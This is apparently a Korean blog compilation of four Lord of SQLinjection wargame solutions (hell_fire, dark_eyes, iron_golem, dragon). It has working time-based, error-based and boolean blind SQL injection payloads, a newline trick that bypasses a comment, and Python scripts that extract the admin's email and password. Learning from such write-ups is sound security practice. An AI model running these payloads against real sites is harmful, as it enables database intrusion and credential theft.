이번 문제부터 조금 다르다.

이전에는 그냥 쿼리를 통해 hello admin 같은 문자열을 찾으면 되었지만, 이번에는 DB 테이블 자체를 보여주었다. 

또, 예전과 동일하게 prob, proc, _ , . , union 필터링하고 있다. 이번에는 pw대신 email 을 직접 찾아야 한다.

union을 막은 걸로 봐선 union injection은 할 수 없을 것 같다.

진단하면서 order by 절과 같이 정렬하는 부분에서 injection이 터지는 경우를 본 적이 있어서 딱 봐도 order by절 뒤에 (case when) 이나 (select)절을 넣는 것 같다.


?order=id

일단 간단하게 order 파라미터에 컬럼명을 넣었다. 그랬더니 id값 대로 정렬이 되었다.

 

?order=score

반대로 score로 정렬했더니 상이한 결과를 보였다.

아, 그러면 조건문을 걸어서 참을 때는 id별로 정렬, 거짓일 때는 score별로 정렬하면 되겠다고 생각했다..!!!

payload : order=(case when 1=1 then id  else score end) 

이렇게 1=1 일때는 id로 정렬되고, 1=2일때는 score로 정렬되어 쿼리문이 내가 의도한 대로 잘 동작하였다.

그러면 1=1 부분에 email의 길이와 한글자씩 구하는 조건을 걸어주면 되겠다고 생각했다.

length()함수도 잘 적용되었다. 

문제를 풀려면 admin에 해당하는 email을 찾아야 하기 때문에 (id = 'admin' and length(email)>?) 이렇게 조건을 걸어줬다.

근데 >10 >20 >30 >40 >50 암만 길이를 늘려줘도 모두 반응이 똑같았다...

왜지...

이 방법을 쓰는 게 아닌 것 같다..

 

※이 방법이 틀리진 않으나 timebased를 써서 풀게끔 막아놓은 듯 하다..


그러다가 생각한 게 앞선 문제들에선 sleep(), benchmark() 함수들을 모두 필터링했는데 이번 문제부터 필터링이 빠진 것을 보고 그럼 time-based injection을 해봐야지 생각했다.

그래서 id, score 대신 sleep()함수로 시간 지연 차이를 발생시켰다.

버프를 이용해서 시간이 얼마나 차이 나는 지 확인했다.

payload : order= (case when 1=1 then sleep(10) else sleep(1) end)

리피터로 보내서 (1=1) 참일 때, 38,679밀리 초가 걸렸다...

payload : order= (case when 1=2 then sleep(10) else sleep(1) end)

반대로, 1=2 거짓일 때, 2,165 밀리 초가 걸렸다. 차이가 확실히 난다. 이 점을 이용해서 자동화 코드를 작성했다.

 


먼저, email의 길이 찾기

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
       
        start = time.time()  #시작 시간
        math.factorial(100000)

        value = "(case when (id='admin' and length(email)={}) then sleep(10) else sleep(1) end)".format(len_num) #payload
        parmas = {'order': value}      
        response = requests.get(url,params=parmas, cookies=cookies)
 
        end = time.time()  #종료 시간
 
        print(value + f"{end-start:.5f} sec"#시간 확인
 

      return len_num

 

payload : order=(case when (id = 'admin' and length(email)= ?) then sleep(10) else sleep(1) end ) 

길이를 찾을 경우 sleep(10)에 걸린다! 실제로 소요 시간은 대략 10초 ~ 12초 사이

따로 break를 걸지 않았고 이때만 11초 정도 시간 지연이 발생했다. 길이는 28byte

이제, 한글자씩 email 주소를 찾아보자.

def pw_real(len_num):
 
    pw=''
 
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  #아스키코드값 48번부터 122번
 
            start = time.time()       #시작 시간
            math.factorial(100000)
 
            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then sleep(5) else sleep(1) end)".format(i,j)
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)
 
            end = time.time()      #종료 시간
            take_time = end - start    #소요 시간
           

            print(value + "    time : " + str(take_time))
 

            if take_time >6 and take_time<10:      #시간지연이 6~10초 사이 발생하면 출력하고 break
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

payload : order=(case when (id = 'admin' and ascii(substr(email, ? ,1))= ?) then sleep(5) else sleep(1) end ) 

하지만, 이 자동화코드에 문제가 좀 많다..

sleep(10)을 걸어두면 생각보다 시간이 너무 많이 걸린다.. 한글자씩 다 알아봐야기 때문에...ㅠ

보통이면 sleep(5)를 걸어두면 6초 언저리가 나와야 하는데 갑자기 22초 42초가 나와서 다시 재진행했다.. 조건을 더 까다롭게 정해둬야 하는 것 같다.

그래서 sleep(5)로 낮추고 대신 시간 지연이 6초 ~ 10초 정도 범위에 걸리면 break를 걸도록 만들었다.

 ※조건을 구체적으로 6<시간 <10 해두니 잘 나온다.. 

계속 코드를 실행하다가도 오류가 발생하긴 했다ㅠ

실행하면 이처럼 break가 걸리고 그 다음으로 넘어가서 문자를 찾는다..

 

시간 적게 걸리게 가능하신 분 알려주세요..

 

전체코드 

#LOS hell_fire

import math
import time
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
       
        start = time.time()
        math.factorial(100000)

        value = "(case when (id='admin' and length(email)={}) then sleep(10) else sleep(1) end)".format(len_num)
        parmas = {'order': value}      

       
        response = requests.get(url,params=parmas, cookies=cookies)
        end = time.time()
        print(value + f"{end-start:.5f} sec")

    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

       
        for j in range(46, 122):  
 
            start = time.time()
            math.factorial(100000)
 
            value = "(case when (id='admin' and ascii(substr(email,{},1))={}) then sleep(5) else sleep(1) end)".format(i,j)
            parmas = {'order':value}
            response = requests.get(url, params=parmas, cookies=cookies)
 
            end = time.time()
            take_time = end - start
           

            print(value + "    time : " + str(take_time))
 

            if take_time >6 and take_time<10:      
                pw = pw + chr(j)   
                print("password  : ", pw)
                break
    return pw

pw_real(pw_len())
 

 

 

solve!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step25. green_dragon 풀이  (0) 2023.06.21
[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15

필터링되는 기준에 대해서 찾기

1) _ . prob 등 필터링

2) col , if , case when, sleep, benchmark 필터링

3) 에러시 에러 메시지 반환하지 않음

4) 슬래쉬가 붙기 때문에 / ~ /  pw에 대한 실제 값을 알아야 해결되는 문제

 

저번 문제와 동일한 방식인 듯하다. 대신 특이점은 에러 메시지를 반환하지 않기에 error based injection이 아닌 것 같고.. 

if / case when 을 필터링하는 것으로 보아 if / case when 을 사용하지 않고 조건문을 사용해서 풀어야 하는 것 같다!

또, sleep / benchmark 와 같은 time based injection도 아니다. 

천천히 풀어보자.

 


pw = ' 만 입력하여 일부러 쿼리문에 에러를 발생하면 

if(mysqli_error($db)) exit();  이 코드로 인해 에러 메시지는 보이지 않지만 exit()되는 것 같다.

pw=' 'or id = 'admin' and 1=1 # '

다음과 같이 파라미터를 작성하여 or id = 'admin' 로 전체 쿼리를 true 로 만든다.

그 후 and 로 연결하여 뒤에 (1=1) 부분에 조건문이 들어가면 될 것 같다.
만약 (1=1)부분에 이상한 쿼리문이 들어가면 and false 가 되므로 전체 쿼리는 false가 될 것이다.

pw=' 'or id = 'admin' and 1=user # '

and (1=1) 대신 and (1=user)로 쿼리 에러를 발생시키면 전체가 false가 되면서 exit() 되고 있다. 

이 점을 이용해서 blind injection을 시도해야 하는 것 같다.


조건문을 사용하지 않고 조건을 어떻게 걸 수 있을까? 생각을 하다가..

where 절에 조건을 넣는 방법을 생각했는데 sql문에 2개의 where절이 올 수 없다는 생각해 그러면 또 다른 쿼리를 넣어야 겠다고 생각했다.

pw=' 'or id = 'admin' and (select 1) # '

일단 괄호를 사용하여 select문으로 또 다른 쿼리를 사용할 수 있음을 알게 되었다. 전혀 방향성을 못잡고 있다가 이전 문제를 참고해봤다. 똑같이 에러 메시지만 안 보일 뿐 에러를 발생시켜서 풀 수도 있겠다는 생각에..

먼저 테스트 사이트에서 작성해보았다.

기존 데이터베이스 내용만 다를 뿐 똑같이 true false 값을 정해주고 풀어줬더니 length()=4 가 아니니 error 코드를 보였다.

반대로, length()=5 로 맞는 값을 주어  true로 만드니 정상적으로 조회가 되었다. (select ~)문 전체를 true로 만들기 때문에 잘 조회가 된 것이다.

이 방법으로 풀었더니 해결이 되지 않았다. 다른 포스팅도 참고해보니 이유는 없고 단지 이전 문제와 동일한 방식으로는 풀지마라 라는 느낌이었다.

그래서 다른 방식을 찾은 게 union based injection 이다.

union injection으로 실습했을 때는 union 을 통해 컬럼 갯수를 찾았던 기억이 있다. 

union select 1,2,3,4, ..  # 쭉 해보면서 컬럼의 갯수를 찾았는데 union 자체가 select 문 +  select 문 하는 점을 이용해보고자 한다.

다행히도(?) select 1 union select 1 구문에 대한 필터링이 안 걸렸다. 

 select 1 union select 2 구문에 대해서는 에러가 발생했다. 왜지?

테스트 사이트에서 진행해보니...

select 1 union select 1 ;     /  select 1 union select 2 ;

union으로 두 select문이 결합되면서 행이 하나 더 생겼다. 아마도 행이 하나 더 생기거나 열이 하나더 생기거나 해서 에러가 발생한 것 같다. 

이 점을 이용해야 한다.

select 1 union select 1=1
select 1 union select 1=2

뒤에 오는 union select 문에 조건을 걸어주면 상이한 차이가 발생함을 확인했다.

이를 통해 자동화 코드를 작성해주었다.

 

pw 길이 찾기

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select 1 union select length(pw)={})#".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "query" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

실행화면

 

pw 한글자씩 찾기

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
       
            value = "' or id = 'admin' and (select 1 union select ascii(substr(pw,{},1))={})#".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "query" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

실행화면

 

전체 코드

import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select 1 union select length(pw)={})#".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "query" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
       
            value = "' or id = 'admin' and (select 1 union select ascii(substr(pw,{},1))={})#".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "query" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

pw_real(pw_len())

 

 

solve!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step24. evil_wizard 풀이  (0) 2023.06.21
[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15

이번 LOS문제에서 역시 필터링을 먼저 확인하면

1) prob, _ , .  등

2) sleep, benchmark 와 같은 timebased 에서 사용되는 함수

3) addslashes() pw 입력시 양쪽에 / / 가 추가됨

보통 3번 때문에 문제 풀이할 때 pw값을 입력할 때마다 / / 들어가므로, pw에 공격구문을 넣어도 소용이 없어진다.

또한 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); 로 인해 직접 pw값을 찾아야 한다. 아마도 blind injection을 사용할 것으로 보임..

여기서 왜 sleep, benchmark 와 같은 timebased 에서 사용되는 함수를 필터링시켜놨는지는 나중에 알아보도록 하자.

 


일단 비밀번호의 길이를 파악해야 한다.

payload는 pw = ' ' or id = 'admin' and (인젝션 쿼리) #  인 것 같은데 어떤 인젝션 쿼리가 들어가야 하는지 파악해야 한다.그리고 또 다른점, if(mysqli_error($db)) exit(mysqli_error($db));잘못된 쿼리 입력시 에러 메시지를 보여준다.

pw = '  만 입력했더니 에러메시지가 보이면서 mysql db를 사용하는 것을 알 수 있었다.간단한 쿼리를 넣어보자.

sql test를 할 수 있는 사이트에서 select 1 쿼리를 시도했을 때 mysql은 그냥 1을 반환한다. 가장 간단한 쿼리인 것 같아 이를 시도해보니...

에러가 뜬다.. 왜지... ㄱ그러면 괄호로 감싸서 날려보자

괄호로 감싸니 풀린다... 왜지...

암튼 그러면 저 괄호안에 blind injection을 할 수 있는 쿼리를 넣어야 한다. 

mysql 과 관련한 error based injection payload를 드림핵에서 참고하였다. 

injection query : select if(1=0, 9e307*2,0);

mysql의 경우 1=1일때, 9e307*2 를 반환하여야 하는데 범위를 벗어난다는 에러 메시지를 반환한다.

반대로 1=0 거짓일때, 0을 정상적으로 반환한다.

  ※ (select case when 1=1 then 9e307*2 else 0 end) 쿼리문도 동일한 결과를 보여준다.

실제 문제에 적용해보면.. 

payload : pw = ' or id= 'admin' and (select if(1=1, 9e307*2, 0) ) %23 

1=1 조건이 성립되어 9e307*2를 반환하게 되는데, 이 경우 범위를 벗어나서 에러 메시지를 반환한다.

payload : pw = ' or id= 'admin' and (select if(1=2, 9e307*2, 0) ) %23 

1=2 조건이 성립되어 0을 반환하기에 id = 'admin' and 0 %23 과 같은 응답값을 보이게 된다.

이 점을 이용하여 1=1 조건에 pw의 길이를 찾고 substring으로 글자를 하나씩 찾고자 한다.

자동화코드는 다음과 같다.

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id = 'admin' and (select if(length(pw)={},9e307*2,0)) #".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(value)


        if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , 9e307*2, 0) ) #  (이때 select 써도되고 안써도 됨)

1=1 조건 대신 length(pw)로 길이를 찾도록 설정 후,  찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하게 되어 이를 찾게끔 코드를 작성했다.

실행화면

 

다음으로 pw를 한글자씩 찾아보자.

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "' or id = 'admin' and (select if(ascii(substr(pw,{},1))={},9e307*2,0)) #".format(i,j) #injection payload
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "DOUBLE value is out of range in '(9e307 * 2)'" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

payload : pw = ' or id= 'admin' and (select if( ascii(substr(pw,?,1)) = ? , 9e307*2, 0) ) # 

1=1 조건 대신 ascii(substr(pw,?,1)= ? 로 문자를 한글자씩 찾게 되면 DOUBLE value is out of range in '(9e307 * 2)' 를 반환하는 코드를 작성했다.

실행화면

 

solve!!!!!!!!!!!!!!!!!!

 

추가 사항


참일 때
거짓일때

 

case when 구문으로도 수행 가능함!

 

또 궁금한 점..

왜 시간지연함수 즉 timebased injection은 불가능하게 하였는가?

드림핵에서 찾아보니 error-based injection 시도할 때 모두 참값을 반환하는 경우가 있다.

위 문제 역시 or id = 'admin' and 1#    or id = 'admin' and 0#  모두 결과값이 동일하다. 앞서 9e307*2 를 이용한 error-based 를 모를 경우 참값만으로 구분해야 하는데.. 이때 sleep()함수와 같이 시간 지연을 통해 참/거짓을 구분할 수 있다.

위 예시처럼,

payload : pw = ' or id= 'admin' and (select if( length(pw)= ? , sleep(1), sleep(10)) ) #

이런식으로 가능하다는 것.. time-based로 풀지말고, error-based 풀게끔 한 조치같다...

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step23. hell_fire 풀이  (0) 2023.06.21
[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step20. dragon 풀이  (1) 2023.06.15
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14

이번 문제는 보자마자 Hello guest로 고정이 되어있다. 

쿼리문을 보면 id = 'guest' # 로 주석처리가 되어있어서 pw에 그 어떤 값을 넣어도 주석처리되어 실행되지 않았다.

id = 'guest' # 을 어떻게 내가 바꿀 수 없기에 생각했던 방법이 개행을 통한 주석처리 우회였다.

sql 테스트 페이지에서 개행을 시도해보았다. 비슷한 구조로 쿼리를 짰다.

일단, 우리는 위에 해결해야 하는 쿼리에서 id = guest가 아닌 id = admin인 결과가 필요하다. 

이 테스트에서는 id = 1이 고정되어있는데, id = 2 결과를 출력해야 하는 셈이다. 그러면 id = 1 인 쿼리를 false로 만들고 or를 통해 id = 2 를 실행시켜야 한다.

# 이하는 주황색으로 주석처리 되었지만, 그 뒤에 오는 and 1=2 로 false를 만들고

or id = 2 를 통해 where id = 2 로 결국 만든거다.

 

본격적으로 풀면 먼저 개행을 시켜보자

pw에 어떤 값이 들어가던지 주석처리로 인해 id = 'guest' 까지만 유효하다

payload : pw=%0a

개행문자 (\n) 인 %0a 를 입력하니 더이상 Hello guest 문구가 보이질 않는다..... 그 이유는

select id from prob_dragon where id='guest'# and pw='
'

사실상 위에 코드처럼 개행이 된 것이다.  (문구안보임)

그 이유는 개행 후 두번째 라인이 싱글쿼터 짝이 유효하지 않기 때문이다.

payload : pw=%0a'

반면 싱글쿼터로 닫으려고 하니 오히려 hello guest가 보인다..

select id from prob_dragon where id='guest'# and pw='
''

그 이유는 위 코드와 같이 첫번째 select문은 정상 실행되고 뒤에 오는 싱글쿼터는 짝이 맞게 떨어지니까 id = 'guest'가 실행된다.

 

어쨌든 개행이 잘 적용되므로, id = 'guest' 를 무력화해보자.

payload : pw=' %0a and 1=2 #

and 1=2 를 통해 앞 쿼리문을 무력화한다.

select id from prob_dragon where id='guest'# and pw=''
and 1=2 #'

반대로,

and 1=1 을 해주면 모두 참이 되므로 id = 'guest'가 유효하게 된다.

select id from prob_dragon where id='guest'# and pw=''
and 1=1 #'

 

그러면, id = 'guest'를 무효화했으니 id = 'admin'을 넣어주자.

payload : pw= '%0a and 1=2 or id = 'admin'#

 

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step22. dark_eyes 풀이  (0) 2023.06.20
[LOS] step21. iron_golem 풀이  (1) 2023.06.19
[LOS] step19. xvais 풀이  (1) 2023.06.15
[LOS] step18. nightmare 풀이  (0) 2023.06.14
[LOS] step17. zombie_assassin 풀이  (0) 2023.06.14

+ Recent posts